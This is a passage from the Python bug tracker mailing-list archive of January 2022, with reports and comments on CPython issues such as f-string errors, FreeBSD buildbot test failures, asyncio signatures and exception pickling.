({foo)foo2" ^ SyntaxError: f-string: unmatched ')' Example 3: ``` temp=f"blank ({foo)blank ({foo()}) blank foo()})" ``` temp=f"blank ({foo)blank ({foo()}) blank foo()})" ^ SyntaxError: f-string: unmatched ')' ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 23:21:31 2022 From: report at bugs.python.org (Zombo) Date: Thu, 06 Jan 2022 04:21:31 +0000 Subject: [issue46276] ImportError: DLL load failed while importing Message-ID: <1641442891.56.0.592607376526.issue46276@roundup.psfhosted.org> New submission from Zombo : This code fails: >>> import _frida Traceback (most recent call last): File "", line 1, in ImportError: DLL load failed while importing _frida: The specified module could not be found. works as expected with Python 3.9 https://github.com/frida/frida-python/blob/main/frida/__init__.py ---------- messages: 409815 nosy: 89z priority: normal severity: normal status: open title: ImportError: DLL load failed while importing type: crash versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 01:16:09 2022 From: report at bugs.python.org (Yongfan Ming) Date: Thu, 06 Jan 2022 06:16:09 +0000 Subject: [issue46277] '''...''' error Message-ID: <1641449769.57.0.266073806633.issue46277@roundup.psfhosted.org> New submission from Yongfan Ming : define: str_='''... ... .. .. . ... ''' get: str='...\n\n..\n..\n.\n\n' if '...' in the second line, all '...' will be not read. ---------- components: Unicode messages: 409816 nosy: ezio.melotti, sumowi, vstinner priority: normal severity: normal status: open title: '''...''' error type: behavior versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 01:41:36 2022 From: report at bugs.python.org (Yongfan Ming) Date: Thu, 06 Jan 2022 06:41:36 +0000 Subject: [issue46277] '''...''' error In-Reply-To: <1641449769.57.0.266073806633.issue46277@roundup.psfhosted.org> Message-ID: <1641451296.36.0.0535223033266.issue46277@roundup.psfhosted.org> Yongfan Ming added the comment: just happend in jupyter notebook . ---------- Added file: https://bugs.python.org/file50543/20220106143913.png _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 02:53:52 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 06 Jan 2022 07:53:52 +0000 Subject: [issue46006] [subinterpreter] _PyUnicode_EqualToASCIIId() issue with subinterpreters In-Reply-To: <1638897146.48.0.478621354755.issue46006@roundup.psfhosted.org> Message-ID: <1641455632.28.0.744055361491.issue46006@roundup.psfhosted.org> STINNER Victor added the comment: New changeset 35d6540c904ef07b8602ff014e520603f84b5886 by Victor Stinner in branch 'main': bpo-46006: Revert "bpo-40521: Per-interpreter interned strings (GH-20085)" (GH-30422) https://github.com/python/cpython/commit/35d6540c904ef07b8602ff014e520603f84b5886 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 02:53:52 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 06 Jan 2022 07:53:52 +0000 Subject: [issue40521] [subinterpreters] Make free lists and unicode caches per-interpreter In-Reply-To: <1588693682.5.0.219755904926.issue40521@roundup.psfhosted.org> Message-ID: <1641455632.48.0.274132330711.issue40521@roundup.psfhosted.org> STINNER Victor added the comment: New changeset 35d6540c904ef07b8602ff014e520603f84b5886 by Victor Stinner in branch 'main': bpo-46006: Revert "bpo-40521: Per-interpreter interned strings (GH-20085)" (GH-30422) https://github.com/python/cpython/commit/35d6540c904ef07b8602ff014e520603f84b5886 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 02:59:48 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 06 Jan 2022 07:59:48 +0000 Subject: [issue46006] [subinterpreter] _PyUnicode_EqualToASCIIId() issue with subinterpreters In-Reply-To: <1638897146.48.0.478621354755.issue46006@roundup.psfhosted.org> Message-ID: <1641455988.32.0.290596513557.issue46006@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +28630 pull_request: https://github.com/python/cpython/pull/30425 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 02:59:48 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 06 Jan 2022 07:59:48 +0000 Subject: [issue40521] [subinterpreters] Make free lists and unicode caches per-interpreter In-Reply-To: <1588693682.5.0.219755904926.issue40521@roundup.psfhosted.org> Message-ID: <1641455988.54.0.831398600676.issue40521@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +28631 pull_request: https://github.com/python/cpython/pull/30425 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 03:16:54 2022 From: report at bugs.python.org (Marko Tuononen) Date: Thu, 06 Jan 2022 08:16:54 +0000 Subject: [issue44899] tarfile: add support for creating an archive of potentially changing files In-Reply-To: <1628768592.88.0.0306570478346.issue44899@roundup.psfhosted.org> Message-ID: <1641457014.91.0.895271852783.issue44899@roundup.psfhosted.org> Change by Marko Tuononen : ---------- pull_requests: +28632 pull_request: https://github.com/python/cpython/pull/30426 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 03:47:09 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 06 Jan 2022 08:47:09 +0000 Subject: [issue46277] '''...''' error In-Reply-To: <1641449769.57.0.266073806633.issue46277@roundup.psfhosted.org> Message-ID: <1641458829.68.0.422520775989.issue46277@roundup.psfhosted.org> STINNER Victor added the comment: vstinner at apu$ python3 Python 3.10.1 (main, Dec 9 2021, 00:00:00) [GCC 11.2.1 20211203 (Red Hat 11.2.1-7)] on linux Type "help", "copyright", "credits" or "license" for more information. >>> str_='''... ... ... ... .. ... .. ... . ... ... ... ''' >>> str_ '...\n...\n..\n..\n.\n...\n' I cannot reproduce this issue in the Python REPL. I suggest to report the issue to jupyter. ---------- resolution: -> third party stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 03:53:46 2022 From: report at bugs.python.org (Alexander Hartl) Date: Thu, 06 Jan 2022 08:53:46 +0000 Subject: [issue44665] asyncio.create_task() documentation should mention user needs to keep reference to the task In-Reply-To: <1626588086.28.0.802457585502.issue44665@roundup.psfhosted.org> Message-ID: <1641459226.61.0.108210360366.issue44665@roundup.psfhosted.org> Alexander Hartl added the comment: I just found this PR when a task of mine spontaneously crashed with a "Task was destroyed but it is pending" in the middle of program execution. I think the warning should be added to `loop.create_task()`, too. Not sure if `loop.call_later()` and `loop.call_at()` are also affected? I think it would be a good idea to add the fire-and-forget example that @bernat gave. At the moment, stackoverflow is full of suggestions to just use `create_task()` in this case, ignoring the return value. Actually, I think it is a true shortcoming that asyncio doesn't provide a fire-and forget functionality by itself. ---------- nosy: +alexhartl _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 04:33:06 2022 From: report at bugs.python.org (Pop Expangea) Date: Thu, 06 Jan 2022 09:33:06 +0000 Subject: [issue22739] "There is no disk in the drive" error In-Reply-To: <1414392827.56.0.571948062757.issue22739@psf.upfronthosting.co.za> Message-ID: <1641461586.61.0.408235199318.issue22739@roundup.psfhosted.org> Pop Expangea added the comment: Probably not a Python bug, but I have detected this problem a couple of times, and it always happened the same way, while using pdoc package in a Python script. #### Steps to reproduce the behavior: 1. Connect mobile telephone (Avenzo Xirius 5.5 AV112) to my USB port to charge it. 2. Run a Python script which uses pdoc package: https://github.com/mitmproxy/pdoc 3. Only sometimes ... Python hangs and raises this alert: https://bugs.python.org/issue22739 4. If I launch other Python scripts no problem at all. If I comment out pdoc call in my script, no problem at all. 5. My pdoc script will only come back to work normally when in unplug my mobile telephone from USB port. I understand pdoc tries to read .py scripts in my hard disk to produce html documentation. ---------- nosy: +expangea _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 04:37:19 2022 From: report at bugs.python.org (Pop Expangea) Date: Thu, 06 Jan 2022 09:37:19 +0000 Subject: [issue22739] "There is no disk in the drive" error In-Reply-To: <1414392827.56.0.571948062757.issue22739@psf.upfronthosting.co.za> Message-ID: <1641461839.08.0.877866263846.issue22739@roundup.psfhosted.org> Pop Expangea added the comment: Forgot to comment versions: pdoc: 8.1.0 Python: 3.8.7 Platform: Windows-7-6.1.7601-SP1 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 04:46:31 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Thu, 06 Jan 2022 09:46:31 +0000 Subject: [issue46274] backslash creating statement out of nothing In-Reply-To: <1641424367.42.0.632530824135.issue46274@roundup.psfhosted.org> Message-ID: <1641462391.19.0.550370869245.issue46274@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- nosy: -pablogsal _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 04:48:42 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Thu, 06 Jan 2022 09:48:42 +0000 Subject: [issue46275] caret location for syntax error pointing with f-strings In-Reply-To: <1641432348.77.0.771622178484.issue46275@roundup.psfhosted.org> Message-ID: <1641462522.67.0.319277931666.issue46275@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- nosy: +eric.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 05:07:44 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Thu, 06 Jan 2022 10:07:44 +0000 Subject: [issue46263] FreeBSD buildbots cannot compile Python In-Reply-To: <1641337743.6.0.289093043654.issue46263@roundup.psfhosted.org> Message-ID: <1641463664.49.0.101028191857.issue46263@roundup.psfhosted.org> Erlend E. Aasland added the comment: Marked as a release blocker. See python-committers post: https://mail.python.org/archives/list/python-committers at python.org/thread/7OWGAL4UL5HNKKQFUGH6N6L4JDVPEN7R/ ---------- priority: normal -> release blocker _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 05:45:32 2022 From: report at bugs.python.org (Eric V. Smith) Date: Thu, 06 Jan 2022 10:45:32 +0000 Subject: [issue46276] ImportError: DLL load failed while importing In-Reply-To: <1641442891.56.0.592607376526.issue46276@roundup.psfhosted.org> Message-ID: <1641465932.47.0.966306458371.issue46276@roundup.psfhosted.org> Eric V. Smith added the comment: I see this has been reported in frida's tracker. It looks like a problem with that package. ---------- nosy: +eric.smith type: crash -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 06:15:46 2022 From: report at bugs.python.org (Mark Dickinson) Date: Thu, 06 Jan 2022 11:15:46 +0000 Subject: [issue46277] '''...''' error In-Reply-To: <1641449769.57.0.266073806633.issue46277@roundup.psfhosted.org> Message-ID: <1641467746.3.0.951579894446.issue46277@roundup.psfhosted.org> Mark Dickinson added the comment: https://github.com/ipython/ipython/issues/12843 looks very closely related, and may be the exact same bug. ---------- nosy: +mark.dickinson _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 06:15:45 2022 From: report at bugs.python.org (Irit Katriel) Date: Thu, 06 Jan 2022 11:15:45 +0000 Subject: [issue33857] python exception on Solaris : code for hash blake2b was not found In-Reply-To: <1528972659.33.0.947875510639.issue33857@psf.upfronthosting.co.za> Message-ID: <1641467745.25.0.828193452312.issue33857@roundup.psfhosted.org> Irit Katriel added the comment: Python 3.6 is no longer maintained. Please create a new issue if you are seeing this problem on a current (>= 3.9) version of Python. ---------- nosy: +iritkatriel resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 06:26:51 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Thu, 06 Jan 2022 11:26:51 +0000 Subject: [issue46263] FreeBSD buildbots cannot compile Python In-Reply-To: <1641337743.6.0.289093043654.issue46263@roundup.psfhosted.org> Message-ID: <1641468411.22.0.465478290066.issue46263@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: Unfortunately the buildbots are still red: https://buildbot.python.org/all/#/builders/483/builds/1416/steps/5/logs/stdio https://buildbot.python.org/all/#/builders/172/builds/1102 One is the test_embed problem with frozen modules: ====================================================================== FAIL: test_init_setpythonhome (test.test_embed.InitConfigTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "/usr/home/buildbot/python/3.x.koobs-freebsd-9e36.nondebug/build/Lib/test/test_embed.py", line 1253, in test_init_setpythonhome self.check_all_configs("test_init_setpythonhome", config, ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/home/buildbot/python/3.x.koobs-freebsd-9e36.nondebug/build/Lib/test/test_embed.py", line 736, in check_all_configs self.check_config(configs, expected_config) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/home/buildbot/python/3.x.koobs-freebsd-9e36.nondebug/build/Lib/test/test_embed.py", line 662, in check_config self.assertEqual(config, expected) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ AssertionError: {'_co[346 chars]'], 'xoptions': [], 'warnoptions': [], 'python[1945 chars]': 1} != {'_co[346 chars]'], 'orig_argv': [], 'xoptions': [], 'warnopti[1946 chars]: -1} {'_config_init': 1, '_init_main': 1, '_install_importlib': 1, '_isolated_interpreter': 0, 'argv': [''], 'base_exec_prefix': '/usr/home/buildbot/python/3.x.koobs-freebsd-9e36.nondebug/build', 'base_executable': '', 'base_prefix': '/usr/home/buildbot/python/3.x.koobs-freebsd-9e36.nondebug/build', 'buffered_stdio': 1, 'bytes_warning': 0, 'check_hash_pycs_mode': 'default', 'code_debug_ranges': 1, 'configure_c_stdio': 0, 'dev_mode': 0, 'dump_refs': 0, 'exec_prefix': '/usr/home/buildbot/python/3.x.koobs-freebsd-9e36.nondebug/build', 'executable': '', 'faulthandler': 0, 'hash_seed': 0, 'home': '/usr/home/buildbot/python/3.x.koobs-freebsd-9e36.nondebug/build', 'import_time': 0, 'inspect': 0, 'install_signal_handlers': 1, 'interactive': 0, 'isolated': 0, 'malloc_stats': 0, 'module_search_paths': ['/usr/home/buildbot/python/3.x.koobs-freebsd-9e36.nondebug/build/target/lib/python311.zip', '/usr/home/buildbot/python/3.x.koobs-freebsd-9e36.nondebug/build/Lib', '/usr/home/buildbot/python/3.x.koobs-freebsd-9e36.nondebug/build/build/lib.freebsd-12.3-RELEASE-amd64-3.11', '/usr/home/buildbot/python/3.x.koobs-freebsd-9e36.nondebug/build/lib/python311.zip', '/usr/home/buildbot/python/3.x.koobs-freebsd-9e36.nondebug/build/lib/python3.11', '/usr/home/buildbot/python/3.x.koobs-freebsd-9e36.nondebug/build/lib/python3.11/lib-dynload'], 'module_search_paths_set': 1, 'optimization_level': 0, 'orig_argv': [], 'parse_argv': 0, 'parser_debug': 0, 'pathconfig_warnings': 1, 'platlibdir': 'lib', 'prefix': '/usr/home/buildbot/python/3.x.koobs-freebsd-9e36.nondebug/build', 'program_name': 'python3', 'pycache_prefix': None, 'pythonpath_env': '/usr/home/buildbot/python/3.x.koobs-freebsd-9e36.nondebug/build/target/lib/python311.zip:/usr/home/buildbot/python/3.x.koobs-freebsd-9e36.nondebug/build/Lib:/usr/home/buildbot/python/3.x.koobs-freebsd-9e36.nondebug/build/build/lib.freebsd-12.3-RELEASE-amd64-3.11', 'quiet': 0, 'run_command': None, 'run_filename': None, 'run_module': None, 'show_ref_count': 0, 'site_import': 1, 'skip_source_first_line': 0, 'stdlib_dir': '/usr/home/buildbot/python/3.x.koobs-freebsd-9e36.nondebug/build/lib/python3.11', 'tracemalloc': 0, 'use_environment': 1, - 'use_frozen_modules': 1, + 'use_frozen_modules': -1, ? + 'use_hash_seed': 0, 'user_site_directory': 1, 'verbose': 0, 'warn_default_encoding': 0, 'warnoptions': [], 'write_bytecode': 1, 'xoptions': []} ---------------------------------------------------------------------- Ran 1 test in 0.131s FAILED (failures=1) test test_embed failed 0:27:39 load avg: 1.11 Re-running test_logging in verbose mode (matching: test_udp_reconnection) test_udp_reconnection (test.test_logging.IPv6SysLogHandlerTest) ... ok test_udp_reconnection (test.test_logging.SysLogHandlerTest) ... ok test_udp_reconnection (test.test_logging.UnixSysLogHandlerTest) ... ok ---------------------------------------------------------------------- The other is a capi problem: ====================================================================== FAIL: test_pyobject_freed_is_freed (test.test_capi.PyMemMallocDebugTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "/usr/home/buildbot/python/3.x.koobs-freebsd-564d/build/Lib/test/test_capi.py", line 943, in test_pyobject_freed_is_freed self.check_pyobject_is_freed('check_pyobject_freed_is_freed') ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/home/buildbot/python/3.x.koobs-freebsd-564d/build/Lib/test/test_capi.py", line 931, in check_pyobject_is_freed assert_python_ok('-c', code, PYTHONMALLOC=self.PYTHONMALLOC) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/home/buildbot/python/3.x.koobs-freebsd-564d/build/Lib/test/support/script_helper.py", line 160, in assert_python_ok return _assert_python(True, *args, **env_vars) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/home/buildbot/python/3.x.koobs-freebsd-564d/build/Lib/test/support/script_helper.py", line 145, in _assert_python res.fail(cmd_line) ^^^^^^^^^^^^^^^^^^ File "/usr/home/buildbot/python/3.x.koobs-freebsd-564d/build/Lib/test/support/script_helper.py", line 72, in fail raise AssertionError("Process return code is %d\n" ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ AssertionError: Process return code is 1 command line: ['/usr/home/buildbot/python/3.x.koobs-freebsd-564d/build/python', '-X', 'faulthandler', '-c', '\nimport gc, os, sys, _testcapi\n# Disable the GC to avoid crash on GC collection\ngc.disable()\ntry:\n _testcapi.check_pyobject_freed_is_freed()\n # Exit immediately to avoid a crash while deallocating\n # the invalid object\n os._exit(0)\nexcept _testcapi.error:\n os._exit(1)\n'] stdout: --- --- stderr: --- --- ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 06:36:02 2022 From: report at bugs.python.org (Andrew Svetlov) Date: Thu, 06 Jan 2022 11:36:02 +0000 Subject: [issue46278] AbstractEventLoop.call_* should reflect the 'context' argument Message-ID: <1641468962.51.0.838105430784.issue46278@roundup.psfhosted.org> New submission from Andrew Svetlov : Actual implementations of asyncio event loops (both Unix and Windows) support contextvars and accept `context` argument in `loop.call_*()` methods. Abstract event loop definition doesn't it. It is not a bug but a signature incompatibility that can embarrass human readers and machine analyzing tools. ---------- messages: 409829 nosy: asvetlov priority: normal severity: normal status: open title: AbstractEventLoop.call_* should reflect the 'context' argument _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 06:36:22 2022 From: report at bugs.python.org (Andrew Svetlov) Date: Thu, 06 Jan 2022 11:36:22 +0000 Subject: [issue46278] AbstractEventLoop.call_* should reflect the 'context' argument In-Reply-To: <1641468962.51.0.838105430784.issue46278@roundup.psfhosted.org> Message-ID: <1641468982.25.0.510134839819.issue46278@roundup.psfhosted.org> Change by Andrew Svetlov : ---------- components: +asyncio nosy: +yselivanov versions: +Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 06:36:38 2022 From: report at bugs.python.org (Andrew Svetlov) Date: Thu, 06 Jan 2022 11:36:38 +0000 Subject: [issue46278] AbstractEventLoop.call_* should reflect the 'context' argument In-Reply-To: <1641468962.51.0.838105430784.issue46278@roundup.psfhosted.org> Message-ID: <1641468998.79.0.0704860182626.issue46278@roundup.psfhosted.org> Change by Andrew Svetlov : ---------- type: -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 06:38:40 2022 From: report at bugs.python.org (Mark Shannon) Date: Thu, 06 Jan 2022 11:38:40 +0000 Subject: [issue46031] add POP_JUMP_IF_NOT_NONE and POP_JUMP_IF_NONE In-Reply-To: <1639126928.63.0.63808958692.issue46031@roundup.psfhosted.org> Message-ID: <1641469120.11.0.431112406107.issue46031@roundup.psfhosted.org> Mark Shannon added the comment: New changeset 3db762db72cc0da938614b1e414abb1e12ca4094 by penguin_wwy in branch 'main': bpo-46031: add POP_JUMP_IF_NOT_NONE and POP_JUMP_IF_NONE (GH-30019) https://github.com/python/cpython/commit/3db762db72cc0da938614b1e414abb1e12ca4094 ---------- nosy: +Mark.Shannon _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 06:39:25 2022 From: report at bugs.python.org (Andrew Svetlov) Date: Thu, 06 Jan 2022 11:39:25 +0000 Subject: [issue46278] AbstractEventLoop.call_* should reflect the 'context' argument In-Reply-To: <1641468962.51.0.838105430784.issue46278@roundup.psfhosted.org> Message-ID: <1641469165.58.0.962291322026.issue46278@roundup.psfhosted.org> Change by Andrew Svetlov : ---------- keywords: +patch pull_requests: +28633 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30427 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 06:42:19 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Thu, 06 Jan 2022 11:42:19 +0000 Subject: [issue46263] FreeBSD buildbots cannot compile Python In-Reply-To: <1641337743.6.0.289093043654.issue46263@roundup.psfhosted.org> Message-ID: <1641469339.07.0.0804747021633.issue46263@roundup.psfhosted.org> Erlend E. Aasland added the comment: Here's a strange observation from my FreeBSD 14.0 VM: With system supplied python3.8 (dependency of the git package), test_embed succeeds. If I explicitly install python3.9 (pkg install python3.9 installs Python 3.9.9), rebuild and test, test_embed fails. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 06:44:38 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Thu, 06 Jan 2022 11:44:38 +0000 Subject: [issue46263] FreeBSD buildbots cannot compile Python In-Reply-To: <1641337743.6.0.289093043654.issue46263@roundup.psfhosted.org> Message-ID: <1641469478.26.0.677583734095.issue46263@roundup.psfhosted.org> Erlend E. Aasland added the comment: FYI, the buildbot has Python 3.9.9 installed, as seen from the configure step. (nit: it's pkg install python39, not pkg install python3.9) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 06:52:32 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Thu, 06 Jan 2022 11:52:32 +0000 Subject: [issue46263] FreeBSD buildbots cannot compile Python In-Reply-To: <1641337743.6.0.289093043654.issue46263@roundup.psfhosted.org> Message-ID: <1641469952.96.0.589127571206.issue46263@roundup.psfhosted.org> Erlend E. Aasland added the comment: Wait a minute. It is not tied to the Python version installed; it seems to be an issue with in-tree vs. out-of-tree builds. The failed build was in-tree. The build that succeeded was out-of-tree. I did a new build with Python 3.9 installed, which succeeded out-of-tree. To clear things up: - out-of-tree build with system Python 3.8 => succeeds - out-of-tree build with system Python 3.9 => succeeds - in-tree build with system Python 3.9 => fails ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 07:02:25 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Thu, 06 Jan 2022 12:02:25 +0000 Subject: [issue46263] FreeBSD buildbots cannot compile Python In-Reply-To: <1641337743.6.0.289093043654.issue46263@roundup.psfhosted.org> Message-ID: <1641470545.62.0.414431357159.issue46263@roundup.psfhosted.org> Erlend E. Aasland added the comment: FTR: - in-tree build with system Python 3.8 => fails ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 07:15:11 2022 From: report at bugs.python.org (Eryk Sun) Date: Thu, 06 Jan 2022 12:15:11 +0000 Subject: [issue46276] ImportError: DLL load failed while importing In-Reply-To: <1641442891.56.0.592607376526.issue46276@roundup.psfhosted.org> Message-ID: <1641471311.75.0.65156652301.issue46276@roundup.psfhosted.org> Eryk Sun added the comment: "_frida.cp310-win_amd64.pyd" is a bad build or corrupted file. It imports a procedure with no name from a DLL with no name, which causes the loader to search for a file named ".DLL". Even if that were found, it imports another procedure with no name or correct ordinal from "IPHLPAPI.DLL". There are probably more problems with this DLL. ---------- nosy: +eryksun _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 07:37:05 2022 From: report at bugs.python.org (Jan) Date: Thu, 06 Jan 2022 12:37:05 +0000 Subject: [issue46270] Comparison operators in Python Tutorial 5.7 In-Reply-To: <1641399078.63.0.800108157977.issue46270@roundup.psfhosted.org> Message-ID: <1641472625.75.0.971355003498.issue46270@roundup.psfhosted.org> Jan added the comment: Sounds reasonable. ---------- resolution: works for me -> fixed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 07:47:45 2022 From: report at bugs.python.org (Kumar Aditya) Date: Thu, 06 Jan 2022 12:47:45 +0000 Subject: [issue46278] AbstractEventLoop.call_* should reflect the 'context' argument In-Reply-To: <1641468962.51.0.838105430784.issue46278@roundup.psfhosted.org> Message-ID: <1641473265.0.0.496233677253.issue46278@roundup.psfhosted.org> Kumar Aditya added the comment: The PR introduced a typo in the method signature see https://github.com/python/cpython/pull/30427#discussion_r779497305 ---------- nosy: +kumaraditya303 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 07:51:30 2022 From: report at bugs.python.org (Kumar Aditya) Date: Thu, 06 Jan 2022 12:51:30 +0000 Subject: [issue46278] AbstractEventLoop.call_* should reflect the 'context' argument In-Reply-To: <1641468962.51.0.838105430784.issue46278@roundup.psfhosted.org> Message-ID: <1641473490.11.0.0872377472521.issue46278@roundup.psfhosted.org> Change by Kumar Aditya : ---------- pull_requests: +28634 pull_request: https://github.com/python/cpython/pull/30430 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 07:51:43 2022 From: report at bugs.python.org (Mark Shannon) Date: Thu, 06 Jan 2022 12:51:43 +0000 Subject: [issue40222] "Zero cost" exception handling In-Reply-To: <1586338863.3.0.393749013734.issue40222@roundup.psfhosted.org> Message-ID: <1641473503.18.0.465825073232.issue40222@roundup.psfhosted.org> Mark Shannon added the comment: Yes. ---------- priority: release blocker -> resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 07:52:24 2022 From: report at bugs.python.org (Mark Shannon) Date: Thu, 06 Jan 2022 12:52:24 +0000 Subject: [issue45256] Remove the usage of the C stack in Python to Python calls In-Reply-To: <1632220919.85.0.309558064668.issue45256@roundup.psfhosted.org> Message-ID: <1641473544.26.0.325158369892.issue45256@roundup.psfhosted.org> Change by Mark Shannon : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 07:53:07 2022 From: report at bugs.python.org (Mark Shannon) Date: Thu, 06 Jan 2022 12:53:07 +0000 Subject: [issue46039] Break up the YIELD_FROM instruction. In-Reply-To: <1639158532.51.0.938199888812.issue46039@roundup.psfhosted.org> Message-ID: <1641473587.3.0.223454028208.issue46039@roundup.psfhosted.org> Change by Mark Shannon : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 07:53:56 2022 From: report at bugs.python.org (Mark Shannon) Date: Thu, 06 Jan 2022 12:53:56 +0000 Subject: [issue46166] Get "self" args or non-null co_varnames from frame object with C-API In-Reply-To: <1640288010.25.0.698839040509.issue46166@roundup.psfhosted.org> Message-ID: <1641473636.57.0.190489097991.issue46166@roundup.psfhosted.org> Change by Mark Shannon : ---------- nosy: +eric.snow _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 07:54:32 2022 From: report at bugs.python.org (miss-islington) Date: Thu, 06 Jan 2022 12:54:32 +0000 Subject: [issue46278] AbstractEventLoop.call_* should reflect the 'context' argument In-Reply-To: <1641468962.51.0.838105430784.issue46278@roundup.psfhosted.org> Message-ID: <1641473672.33.0.78141881303.issue46278@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 3.0 -> 4.0 pull_requests: +28635 pull_request: https://github.com/python/cpython/pull/30428 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 07:57:08 2022 From: report at bugs.python.org (FeRD (Frank Dana)) Date: Thu, 06 Jan 2022 12:57:08 +0000 Subject: [issue46279] [docs] Minor information-ordering issue in __main__ doc Message-ID: <1641473828.81.0.215625634201.issue46279@roundup.psfhosted.org> New submission from FeRD (Frank Dana) : The expanded documentation on top-level environments is quite an improvement, but there's one passage that causes some confusion. In the section '__main__.py in Python Packages', towards the end, it reads: """ This won?t work for __main__.py files in the root directory of a .zip file though. Hence, for consistency, minimal __main__.py like the venv one mentioned above are preferred. """ Problem is, that's the first mention of venv anywhere in the document. There's a 'See also:' box right BELOW the sentence in question that references venv and its minimal __main__.py, but it hasn't been introduced yet when that first mention comes along. ---------- assignee: docs at python components: Documentation messages: 409839 nosy: docs at python, ferdnyc priority: normal severity: normal status: open title: [docs] Minor information-ordering issue in __main__ doc versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 07:59:34 2022 From: report at bugs.python.org (Irit Katriel) Date: Thu, 06 Jan 2022 12:59:34 +0000 Subject: [issue37489] pickling instance which inherited from Exception with keyword only parameter In-Reply-To: <1562123551.66.0.0575103279234.issue37489@roundup.psfhosted.org> Message-ID: <1641473974.62.0.750099657062.issue37489@roundup.psfhosted.org> Irit Katriel added the comment: > I want to known why it is It's because Exception implements __reduce__ and that takes precedence over __getnewargs_ex__. You can see that with this example: """" import pickle class MyException(): def __init__(self, desc, item): super().__init__() self.desc = desc self.item = item def __getnewargs_ex__(self): print('called in {}.__getnewargs_ex__'.format(self.__class__.__name__)) return (self.desc,), self.__dict__ def __reduce__(self): print('called in {}.__reduce__'.format(self.__class__.__name__)) return MyException, (self.desc, self.item), e = MyException('testing', item='cpu') s = pickle.dumps(e, protocol=-1) x = 